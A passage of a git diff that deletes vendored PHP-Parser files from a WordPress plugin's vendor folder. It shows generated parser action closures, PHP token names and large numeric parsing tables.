$self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 610 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 611 => static function ($self, $stackPos) { - $self->semValue = new Node\ArrayItem($self->semStack[$stackPos-(1-1)], null, false, $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 612 => static function ($self, $stackPos) { - $self->semValue = new Node\ArrayItem($self->semStack[$stackPos-(2-2)], null, true, $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 613 => static function ($self, $stackPos) { - $self->semValue = new Node\ArrayItem($self->semStack[$stackPos-(1-1)], null, false, $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 614 => static function ($self, $stackPos) { - $self->semValue = new Node\ArrayItem($self->semStack[$stackPos-(3-3)], $self->semStack[$stackPos-(3-1)], false, $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 615 => static function ($self, $stackPos) { - $self->semValue = new Node\ArrayItem($self->semStack[$stackPos-(4-4)], $self->semStack[$stackPos-(4-1)], true, $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 616 => static function ($self, $stackPos) { - $self->semValue = new Node\ArrayItem($self->semStack[$stackPos-(3-3)], $self->semStack[$stackPos-(3-1)], false, $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 617 => static function ($self, $stackPos) { - $self->semValue = new Node\ArrayItem($self->semStack[$stackPos-(2-2)], null, false, $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos]), true); - }, - 618 => static function ($self, $stackPos) { - /* Create an Error node now to remember the position. We'll later either report an error, - or convert this into a null element, depending on whether this is a creation or destructuring context. */ - $attrs = $self->createEmptyElemAttributes($self->tokenPos); - $self->semValue = new Node\ArrayItem(new Expr\Error($attrs), null, false, $attrs); - }, - 619 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(2-1)][] = $self->semStack[$stackPos-(2-2)]; $self->semValue = $self->semStack[$stackPos-(2-1)]; - }, - 620 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(2-1)][] = $self->semStack[$stackPos-(2-2)]; $self->semValue = $self->semStack[$stackPos-(2-1)]; - }, - 621 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 622 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(2-1)], $self->semStack[$stackPos-(2-2)]); - }, - 623 => static function ($self, $stackPos) { - $attrs = $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos]); $attrs['rawValue'] = $self->semStack[$stackPos-(1-1)]; $self->semValue = new Node\InterpolatedStringPart($self->semStack[$stackPos-(1-1)], $attrs); - }, - 624 => static function ($self, $stackPos) { - $self->semValue = new Expr\Variable($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 625 => null, - 626 => static function ($self, $stackPos) { - $self->semValue = new Expr\ArrayDimFetch($self->semStack[$stackPos-(4-1)], $self->semStack[$stackPos-(4-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 627 => static function ($self, $stackPos) { - $self->semValue = new Expr\PropertyFetch($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 628 => static function ($self, $stackPos) { - $self->semValue = new Expr\NullsafePropertyFetch($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 629 => static function ($self, $stackPos) { - $self->semValue = new Expr\Variable($self->semStack[$stackPos-(3-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 630 => static function ($self, $stackPos) { - $self->semValue = new Expr\Variable($self->semStack[$stackPos-(3-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 631 => static function ($self, $stackPos) { - $self->semValue = new Expr\ArrayDimFetch($self->semStack[$stackPos-(6-2)], $self->semStack[$stackPos-(6-4)], $self->getAttributes($self->tokenStartStack[$stackPos-(6-1)], $self->tokenEndStack[$stackPos])); - }, - 632 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(3-2)]; - }, - 633 => static function ($self, $stackPos) { - $self->semValue = new Scalar\String_($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 634 => static function ($self, $stackPos) { - $self->semValue = $self->parseNumString($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 635 => static function ($self, $stackPos) { - $self->semValue = $self->parseNumString('-' . $self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 636 => null, - ]; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Parser/Php8.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Parser/Php8.php deleted file mode 100644 index 3addf944..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Parser/Php8.php +++ /dev/null @@ -1,2790 +0,0 @@ -'", - "T_IS_GREATER_OR_EQUAL", - "'.'", - "T_SL", - "T_SR", - "'+'", - "'-'", - "'*'", - "'/'", - "'%'", - "'!'", - "T_INSTANCEOF", - "'~'", - "T_INC", - "T_DEC", - "T_INT_CAST", - "T_DOUBLE_CAST", - "T_STRING_CAST", - "T_ARRAY_CAST", - "T_OBJECT_CAST", - "T_BOOL_CAST", - "T_UNSET_CAST", - "'@'", - "T_POW", - "'['", - "T_NEW", - "T_CLONE", - "T_EXIT", - "T_IF", - "T_ELSEIF", - "T_ELSE", - "T_ENDIF", - "T_LNUMBER", - "T_DNUMBER", - "T_STRING", - "T_STRING_VARNAME", - "T_VARIABLE", - "T_NUM_STRING", - "T_INLINE_HTML", - "T_ENCAPSED_AND_WHITESPACE", - "T_CONSTANT_ENCAPSED_STRING", - "T_ECHO", - "T_DO", - "T_WHILE", - "T_ENDWHILE", - "T_FOR", - "T_ENDFOR", - "T_FOREACH", - "T_ENDFOREACH", - "T_DECLARE", - "T_ENDDECLARE", - "T_AS", - "T_SWITCH", - "T_MATCH", - "T_ENDSWITCH", - "T_CASE", - "T_DEFAULT", - "T_BREAK", - "T_CONTINUE", - "T_GOTO", - "T_FUNCTION", - "T_FN", - "T_CONST", - "T_RETURN", - "T_TRY", - "T_CATCH", - "T_FINALLY", - "T_USE", - "T_INSTEADOF", - "T_GLOBAL", - "T_STATIC", - "T_ABSTRACT", - "T_FINAL", - "T_PRIVATE", - "T_PROTECTED", - "T_PUBLIC", - "T_READONLY", - "T_PUBLIC_SET", - "T_PROTECTED_SET", - "T_PRIVATE_SET", - "T_VAR", - "T_UNSET", - "T_ISSET", - "T_EMPTY", - "T_HALT_COMPILER", - "T_CLASS", - "T_TRAIT", - "T_INTERFACE", - "T_ENUM", - "T_EXTENDS", - "T_IMPLEMENTS", - "T_OBJECT_OPERATOR", - "T_NULLSAFE_OBJECT_OPERATOR", - "T_LIST", - "T_ARRAY", - "T_CALLABLE", - "T_CLASS_C", - "T_TRAIT_C", - "T_METHOD_C", - "T_FUNC_C", - "T_PROPERTY_C", - "T_LINE", - "T_FILE", - "T_START_HEREDOC", - "T_END_HEREDOC", - "T_DOLLAR_OPEN_CURLY_BRACES", - "T_CURLY_OPEN", - "T_PAAMAYIM_NEKUDOTAYIM", - "T_NAMESPACE", - "T_NS_C", - "T_DIR", - "T_NS_SEPARATOR", - "T_ELLIPSIS", - "T_NAME_FULLY_QUALIFIED", - "T_NAME_QUALIFIED", - "T_NAME_RELATIVE", - "T_ATTRIBUTE", - "';'", - "']'", - "'('", - "')'", - "'{'", - "'}'", - "'`'", - "'\"'", - "'$'" - ); - - protected array $tokenToSymbol = array( - 0, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 172, 172, 56, 170, 172, 171, 55, 172, 172, - 165, 166, 53, 51, 8, 52, 48, 54, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 31, 163, - 44, 16, 46, 30, 68, 172, 172, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 70, 172, 164, 36, 172, 169, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 172, 172, 167, 35, 168, 58, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 1, 2, 3, 4, - 5, 6, 7, 9, 10, 11, 12, 13, 14, 15, - 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, - 27, 28, 29, 32, 33, 34, 37, 38, 39, 40, - 41, 42, 43, 45, 47, 49, 50, 57, 59, 60, - 61, 62, 63, 64, 65, 66, 67, 69, 71, 72, - 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, - 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, - 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, - 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, - 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, - 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, - 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, - 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, - 153, 154, 155, 156, 157, 158, 159, 160, 161, 162 - ); - - protected array $action = array( - 126, 127, 128, 570, 129, 130, 955, 765, 766, 767, - 131, 38, 849, -85,-32766, 1376,-32766,-32766,-32766, 0, - 840, 1134, 1135, 1136, 1130, 1129, 1128, 1137, 1131, 1132, - 1133,-32766,-32766,-32766, 851, 759, 758,-32766,-32766,-32766, - -32766,-32766,-32766,-32766,-32766,-32766,-32767,-32767,-32767,-32767, - -32767, 1005,-32766, 1045, -570, 768, 1134, 1135, 1136, 1130, - 1129, 1128, 1137, 1131, 1132, 1133, 388, 387, 842, 263, - 132, 389, 772, 773, 774, 775, 430, 845, 431, -85, - 2, 36, 246, 47, 291, 829, 776, 777, 778, 779, - 780, 781, 782, 783, 784, 785, 805, 571, 806, 807, - 808, 809, 797, 798, 344, 345, 800, 801, 786, 787, - 788, 790, 791, 792, 359, 832, 833, 834, 835, 836, - 572, -570, -570, -332, 793, 794, 573, 574, 236, 817, - 815, 816, 828, 812, 813, 26, -194, 575, 576, 811, - 577, 578, 579, 580, 323, 581, 582, 876, 844, 877, - 297, 298, 814, 583, 584, 722, 133, 846, 126, 127, - 128, 570, 129, 130, 1078, 765, 766, 767, 131, 38, - -32766, 35, 735, 1038, 1037, 1036, 1042, 1039, 1040, 1041, - -32766,-32766,-32766, 1006, 104, 105, 106, 107, 108, -372, - 275, -372,-32766, 759, 758, 1054, 850,-32766,-32766,-32766, - 848,-32766, 109,-32766,-32766,-32766,-32766,-32766,-32766,-32766, - 134, 476, 477, 768,-32766,-32766,-32766, 1054,-32766, 290, - -32766,-32766,-32766,-32766,-32766, 616, 143, 263, 132, 389, - 772, 773, 774, 775, 249,-32766, 431,-32766,-32766,-32766, - -32766, 290, 307, 829, 776, 777, 778, 779, 780, 781, - 782, 783, 784, 785, 805, 571, 806, 807, 808, 809, - 797, 798, 344, 345, 800, 801, 786, 787, 788, 790, - 791, 792, 359, 832, 833, 834, 835, 836, 572, 958, - -273, -332, 793, 794, 573, 574, 840, 817, 815, 816, - 828, 812, 813, 1301, -194, 575, 576, 811, 577, 578, - 579, 580, 566, 581, 582, 1108, 82, 83, 84, 748, - 814, 583, 584, 309, 146, 789, 760, 761, 762, 763, - 764, 235, 765, 766, 767, 802, 803, 37, 957, 85, - 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, - 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, - 106, 107, 108, 157, 275,-32766,-32766,-32766,-32767,-32767, - -32767,-32767, 101, 102, 103,-32766, 109, 1313, 622, 318, - 768,-32766,-32766,-32766, 849, 1361,-32766, 1107,-32766,-32766, - -32766, 340, 1360, 1357, 769, 770, 771, 772, 773, 774, - 775, 341,-32766, 838,-32766,-32766, 1386, 374, 1281, 1387, - 829, 776, 777, 778, 779, 780, 781, 782, 783, 784, - 785, 805, 827, 806, 807, 808, 809, 797, 798, 799, - 826, 800, 801, 786, 787, 788, 790, 791, 792, 831, - 832, 833, 834, 835, 836, 837, 1077, 431, -567, 793, - 794, 795, 796, 148, 817, 815, 816, 828, 812, 813, - 380, -193, 804, 810, 811, 818, 819, 821, 820, 138, - 822, 823, 840, 321, 396, 285, 24, 814, 825, 824, - 49, 50, 51, 522, 52, 53, 398, -110, 7, 849, - 54, 55, -110, 56, -110,-32766,-32766,-32766, 1342, 303, - 125, 1123, -110, -110, -110, -110, -110, -110, -110, -110, - -110, -110, -110, 161, 750, -567, -567, 291, 974, 975, - -32766,-32766,-32766, 976, 448, 285, 1276, 1275, 1277, 57, - 58, -567,-32766,-32766, 59, 1109, 60, 243, 244, 61, - 62, 63, 64, 65, 66, 67, 68,-32766, 28, 265, - 69, 446, 523, 490, -346, 449, 1307, 1308, 524, 139, - 849, 1051, 450, 321, 1305, 42, 20, 525, 934, 526, - 934, 527, 74, 528, -568, 698, 529, 530, 321, 386, - 387, 44, 45, 452, 383, 382, 1054, 46, 531, 430, - 974, 975, 451, 372, 339, 976, 1281, 855, 725, 934, - 1267, 759, 758,-32766, 970, 533, 534, 535, 149, 934, - 281, 699, -78, -566, 1274, 102, 103, 537, 538, -193, - 1293, 1294, 1295, 1296, 1298, 1290, 1291, 295, 1054, 726, - 466, 467, 468, 1297, 1292, 700, 701, 1276, 1275, 1277, - 296, -568, -568, 70, -153, -153, -153, 316, 317, 321, - 1272, 924, 290, 924, 1276, 1275, 1277, -568, 1051, -153, - 281, -153, 1150, -153, 81, -153, 740, 151, 321, -574, - 152, 759, 758,-32766, 1053, 381, 876, 849, 877, 153, - -566, -566, 924, 1054, 1051, 155, 974, 975, -606, 491, - -606, 532, 924, 1276, 1275, 1277, -566, 33, 1054, 910, - 970, -110, -110, -110, 28, 266, -58, 281, -573, 1054, - -32766,-32766, -110, -110, 665, 21, 849, -110, -57, -564, - 1305, 684, 685, 147, 413, 123, -110, 384, 385, 124, - 936, 135, 936, 136, 720,-32766, 720, -153, 142, 48, - 32, 110, 111, 112, 113, 114, 115, 116, 117, 118, - 119, 120, 121, 122, 390, 391, 1267, 296, 759, 758, - 74, 936, 156, 934, 158, 720, 321, -4, 934, 159, - 934, 936, 160, 537, 538, 720, 1293, 1294, 1295, 1296, - 1298, 1290, 1291, 1183, 1185, 934, -564, -564, -565, 1297, - 1292, 759, 758, 727, -564,-32766, 656, 657, -306, 72, - 730, 1274, -564, -87, 317, 321, 299, 300,-32766,-32766, - -32766, -84,-32766, -78,-32766, 737,-32766, -73, -72,-32766, - -71, -70, 379, -69,-32766,-32766,-32766, -68,-32766, -67, - -32766,-32766, -66, -65, 1274, -46,-32766, 427, 28, 265, - -18,-32766,-32766,-32766, 140,-32766, 924,-32766,-32766,-32766, - 849, 924,-32766, 924, 1305, -565, -565,-32766,-32766,-32766, - 274, -564, -564,-32766,-32766, 282, 736, 739, 924,-32766, - 427, -565, 933, 381, 145, 443, 286, -564, 951, 73, - 294,-32766, -302, -572, 974, 975, 279, 280, 283, 532, - 1267, 28, 266, 284, 329, 275, 109, 536, 970, -110, - -110, -110, 287, 849, 292, 293, 840, 1305, 538, 694, - 1293, 1294, 1295, 1296, 1298, 1290, 1291, 709, 144, 587, - 711, 11, 10, 1297, 1292, 991, 849, 1141, 473, 720, - 936,-32766, 936, 72, 720, -4, 720, 1388, 317, 321, - -50, 970, 672, 1267, 687, 666, 501, 936, 971, 301, - 308, 720, 671, 1312, 302, 1314,-32766, 688, 953, -530, - -520, 538, 40, 1293, 1294, 1295, 1296, 1298, 1290, 1291, - 848, 41, 8, 137, 654, 27, 1297, 1292, 304, 34, - 593, 620, 296,-32766, 0, 0, 72, 0, 0, 1274, - 0, 317, 321, 0, 0, 0,-32766,-32766,-32766, -276, - -32766, 0,-32766, 0,-32766, 0, 0,-32766, 0, 0, - 0, 0,-32766,-32766,-32766, 934,-32766, 0,-32766,-32766, - 0, 0, 1274, 378,-32766, 427, 745, -600, 412,-32766, - -32766,-32766, 746,-32766, 868,-32766,-32766,-32766, 934, 915, - -32766, 1015, 992, 999, 989,-32766,-32766,-32766, 1000,-32766, - 913,-32766,-32766, 987, 1112, 1274, 1115,-32766, 427, 1116, - 1113, 1152,-32766,-32766,-32766, 1114,-32766, 1120,-32766,-32766, - -32766, 1302, 860,-32766, 1329, 1346, 1379, 496,-32766,-32766, - -32766, 659,-32766, -599,-32766,-32766, -598, -574, 1274, 600, - -32766, 427, -573, -572, -571,-32766,-32766,-32766, 924,-32766, - -514,-32766,-32766,-32766, 1, 29,-32766, -274, 30, 39, - 43,-32766,-32766,-32766, -251, -251, -251,-32766,-32766, 71, - 381, 924, 75,-32766, 427, 76, 77, 78, 1281, 79, - 80, 974, 975, 141, 150,-32766, 532, -250, -250, -250, - -273, 154, 241, 381, 910, 970, -110, -110, -110, 325, - 360, 361, 362, 363, 974, 975, 364, 365, -16, 532, - 366, 367, 368, 369, 370, 373, 444, 910, 970, -110, - -110, -110,-32766, 13, 565, 371, 1306, 936, 1274, 14, - 416, 720, -251, 15, 16,-32766,-32766,-32766, 18,-32766, - 354,-32766, 411,-32766, 492, 493,-32766, 500, 503, 504, - 936,-32766,-32766,-32766, 720, -250, 505,-32766,-32766, 849, - 506, 510, 511,-32766, 427, 512, 519, 598, 704, 1080, - 1223, 1303, 1079, 1060, 1262,-32766, 1056, -278, -102, 12, - 17, 22, 312, 410, 612, 617, 645, 710, 1227, 1280, - 1224, 1358, 0, 315, -110, -110, 375, 721, 724, -110, - 728, 729, 731, 732, 733, 734, 738, 750, -110, 723, - 751, 0, 742, 911, 1383, 1385, 0,-32766, 871, 870, - 964, 1007, 1384, 963, 961, 962, 965, 1255, 944, 954, - 942, 1151, 1147, 1101, 997, 998, 643, 1382, 1340, 296, - 1355, 0, 74, 1240, 321, 0, 0, 0, 321 - ); - - protected array $actionCheck = array( - 2, 3, 4, 5, 6, 7, 1, 9, 10, 11, - 12, 13, 82, 31, 116, 85, 9, 10, 11, 0, - 80, 116, 117, 118, 119, 120, 121, 122, 123, 124, - 125, 9, 10, 11, 1, 37, 38, 30, 140, 32, - 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, - 43, 31, 30, 1, 70, 57, 116, 117, 118, 119, - 120, 121, 122, 123, 124, 125, 106, 107, 80, 71, - 72, 73, 74, 75, 76, 77, 116, 80, 80, 97, - 8, 151, 152, 70, 30, 87, 88, 89, 90, 91, - 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, - 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, - 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, - 122, 137, 138, 8, 126, 127, 128, 129, 14, 131, - 132, 133, 134, 135, 136, 8, 8, 139, 140, 141, - 142, 143, 144, 145, 70, 147, 148, 106, 160, 108, - 137, 138, 154, 155, 156, 167, 158, 160, 2, 3, - 4, 5, 6, 7, 166, 9, 10, 11, 12, 13, - 116, 8, 167, 119, 120, 121, 122, 123, 124, 125, - 9, 10, 11, 163, 51, 52, 53, 54, 55, 106, - 57, 108, 116, 37, 38, 141, 163, 9, 10, 11, - 159, 30, 69, 32, 33, 34, 35, 36, 37, 38, - 8, 137, 138, 57, 9, 10, 11, 141, 30, 165, - 32, 33, 34, 35, 36, 1, 8, 71, 72, 73, - 74, 75, 76, 77, 8, 30, 80, 32, 33, 34, - 35, 165, 8, 87, 88, 89, 90, 91, 92, 93, - 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, - 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, - 114, 115, 116, 117, 118, 119, 120, 121, 122, 73, - 166, 166, 126, 127, 128, 129, 80, 131, 132, 133, - 134, 135, 136, 1, 166, 139, 140, 141, 142, 143, - 144, 145, 85, 147, 148, 163, 9, 10, 11, 167, - 154, 155, 156, 8, 158, 2, 3, 4, 5, 6, - 7, 97, 9, 10, 11, 12, 13, 30, 122, 32, - 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, - 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, - 53, 54, 55, 16, 57, 9, 10, 11, 44, 45, - 46, 47, 48, 49, 50, 9, 69, 150, 52, 8, - 57, 9, 10, 11, 82, 1, 30, 1, 32, 33, - 34, 8, 8, 1, 71, 72, 73, 74, 75, 76, - 77, 8, 30, 80, 32, 33, 80, 8, 1, 83, - 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, - 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, - 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, - 117, 118, 119, 120, 121, 122, 1, 80, 70, 126, - 127, 128, 129, 14, 131, 132, 133, 134, 135, 136, - 8, 8, 139, 140, 141, 142, 143, 144, 145, 167, - 147, 148, 80, 171, 8, 30, 101, 154, 155, 156, - 2, 3, 4, 5, 6, 7, 106, 101, 108, 82, - 12, 13, 106, 15, 108, 9, 10, 11, 1, 113, - 14, 126, 116, 117, 118, 119, 120, 121, 122, 123, - 124, 125, 126, 14, 167, 137, 138, 30, 117, 118, - 9, 10, 11, 122, 8, 30, 159, 160, 161, 51, - 52, 153, 9, 10, 56, 168, 58, 59, 60, 61, - 62, 63, 64, 65, 66, 67, 68, 140, 70, 71, - 72, 73, 74, 31, 168, 8, 78, 79, 80, 167, - 82, 116, 8, 171, 86, 87, 88, 89, 1, 91, - 1, 93, 165, 95, 70, 80, 98, 99, 171, 106, - 107, 103, 104, 105, 106, 107, 141, 109, 110, 116, - 117, 118, 8, 115, 116, 122, 1, 8, 31, 1, - 122, 37, 38, 116, 131, 127, 128, 129, 14, 1, - 165, 116, 16, 70, 80, 49, 50, 139, 140, 166, - 142, 143, 144, 145, 146, 147, 148, 149, 141, 31, - 132, 133, 134, 155, 156, 140, 141, 159, 160, 161, - 162, 137, 138, 165, 75, 76, 77, 169, 170, 171, - 116, 84, 165, 84, 159, 160, 161, 153, 116, 90, - 165, 92, 163, 94, 167, 96, 167, 14, 171, 165, - 14, 37, 38, 116, 140, 106, 106, 82, 108, 14, - 137, 138, 84, 141, 116, 14, 117, 118, 164, 167, - 166, 122, 84, 159, 160, 161, 153, 14, 141, 130, - 131, 132, 133, 134, 70, 71, 16, 165, 165, 141, - 51, 52, 117, 118, 75, 76, 82, 122, 16, 70, - 86, 75, 76, 101, 102, 16, 131, 106, 107, 16, - 163, 16, 163, 16, 167, 140, 167, 168, 16, 70, - 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, - 26, 27, 28, 29, 106, 107, 122, 162, 37, 38, - 165, 163, 16, 1, 16, 167, 171, 0, 1, 16, - 1, 163, 16, 139, 140, 167, 142, 143, 144, 145, - 146, 147, 148, 59, 60, 1, 137, 138, 70, 155, - 156, 37, 38, 31, 70, 74, 111, 112, 35, 165, - 31, 80, 153, 31, 170, 171, 137, 138, 87, 88, - 89, 31, 91, 31, 93, 31, 95, 31, 31, 98, - 31, 31, 153, 31, 103, 104, 105, 31, 74, 31, - 109, 110, 31, 31, 80, 31, 115, 116, 70, 71, - 31, 87, 88, 89, 31, 91, 84, 93, 127, 95, - 82, 84, 98, 84, 86, 137, 138, 103, 104, 105, - 31, 137, 138, 109, 110, 31, 31, 31, 84, 115, - 116, 153, 31, 106, 31, 108, 37, 153, 38, 158, - 113, 127, 35, 165, 117, 118, 35, 35, 35, 122, - 122, 70, 71, 35, 35, 57, 69, 130, 131, 132, - 133, 134, 37, 82, 37, 37, 80, 86, 140, 77, - 142, 143, 144, 145, 146, 147, 148, 80, 70, 89, - 92, 154, 97, 155, 156, 163, 82, 82, 97, 167, - 163, 85, 163, 165, 167, 168, 167, 83, 170, 171, - 31, 131, 100, 122, 94, 90, 97, 163, 131, 135, - 135, 167, 96, 150, 136, 150, 140, 100, 158, 153, - 153, 140, 163, 142, 143, 144, 145, 146, 147, 148, - 159, 163, 153, 31, 113, 153, 155, 156, 114, 167, - 157, 157, 162, 74, -1, -1, 165, -1, -1, 80, - -1, 170, 171, -1, -1, -1, 87, 88, 89, 166, - 91, -1, 93, -1, 95, -1, -1, 98, -1, -1, - -1, -1, 103, 104, 105, 1, 74, -1, 109, 110, - -1, -1, 80, 153, 115, 116, 163, 165, 168, 87, - 88, 89, 163, 91, 163, 93, 127, 95, 1, 163, - 98, 163, 163, 163, 163, 103, 104, 105, 163, 74, - 163, 109, 110, 163, 163, 80, 163, 115, 116, 163, - 163, 163, 87, 88, 89, 163, 91, 163, 93, 127, - 95, 164, 164, 98, 164, 164, 164, 102, 103, 104, - 105, 164, 74, 165, 109, 110, 165, 165, 80, 81, - 115, 116, 165, 165, 165, 87, 88, 89, 84, 91, - 165, 93, 127, 95, 165, 165, 98, 166, 165, 165, - 165, 103, 104, 105, 100, 101, 102, 109, 110, 165, - 106, 84, 165, 115, 116, 165, 165, 165, 1, 165, - 165, 117, 118, 165, 165, 127, 122, 100, 101, 102, - 166, 165, 165, 106, 130, 131, 132, 133, 134, 165, - 165, 165, 165, 165, 117, 118, 165, 165, 31, 122, - 165, 165, 165, 165, 165, 165, 165, 130, 131, 132, - 133, 134, 74, 166, 165, 165, 170, 163, 80, 166, - 168, 167, 168, 166, 166, 87, 88, 89, 166, 91, - 166, 93, 166, 95, 166, 166, 98, 166, 166, 166, - 163, 103, 104, 105, 167, 168, 166, 109, 110, 82, - 166, 166, 166, 115, 116, 166, 166, 166, 166, 166, - 166, 166, 166, 166, 166, 127, 166, 166, 166, 166, - 166, 166, 166, 166, 166, 166, 166, 166, 166, 166, - 166, 166, -1, 167, 117, 118, 167, 167, 167, 122, - 167, 167, 167, 167, 167, 167, 167, 167, 131, 167, - 167, -1, 168, 168, 168, 168, -1, 140, 168, 168, - 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, - 168, 168, 168, 168, 168, 168, 168, 168, 168, 162, - 168, -1, 165, 169, 171, -1, -1, -1, 171 - ); - - protected array $actionBase = array( - 0, -2, 156, 559, 757, 1004, 1027, 485, 292, 357, - -60, -12, 588, 759, 759, 774, 759, 557, 752, 892, - 598, 598, 598, 827, 313, 313, 827, 313, 711, 711, - 711, 711, 744, 744, 965, 965, 998, 932, 899, 1088, - 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, - 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, - 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, - 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, - 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, - 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, - 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, - 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, - 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, - 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, - 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, - 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, - 1088, 1088, 33, 20, 224, 1080, 673, 1056, 1062, 1058, - 1063, 1054, 1053, 1057, 1059, 1064, 1109, 1110, 833, 1108, - 1112, 1060, 907, 1055, 1061, 888, 297, 297, 297, 297, - 297, 297, 297, 297, 297, 297, 297, 297, 297, 297, - 297, 297, 297, 297, 297, 297, 297, 297, 297, 297, - 297, 297, 356, 476, 513, 501, 501, 501, 501, 501, - 501, 501, 501, 501, 501, 501, 501, 501, 501, 501, - 501, 501, 501, 501, 501, 624, 624, 22, 22, 22, - 362, 811, 758, 811, 811, 811, 811, 811, 811, 811, - 811, 346, 205, 188, 714, 171, 171, 7, 7, 7, - 7, 7, 376, 1117, 54, 585, 585, 314, 314, 314, - 314, 365, 554, 83, 435, 397, 556, 477, 463, 532, - 532, 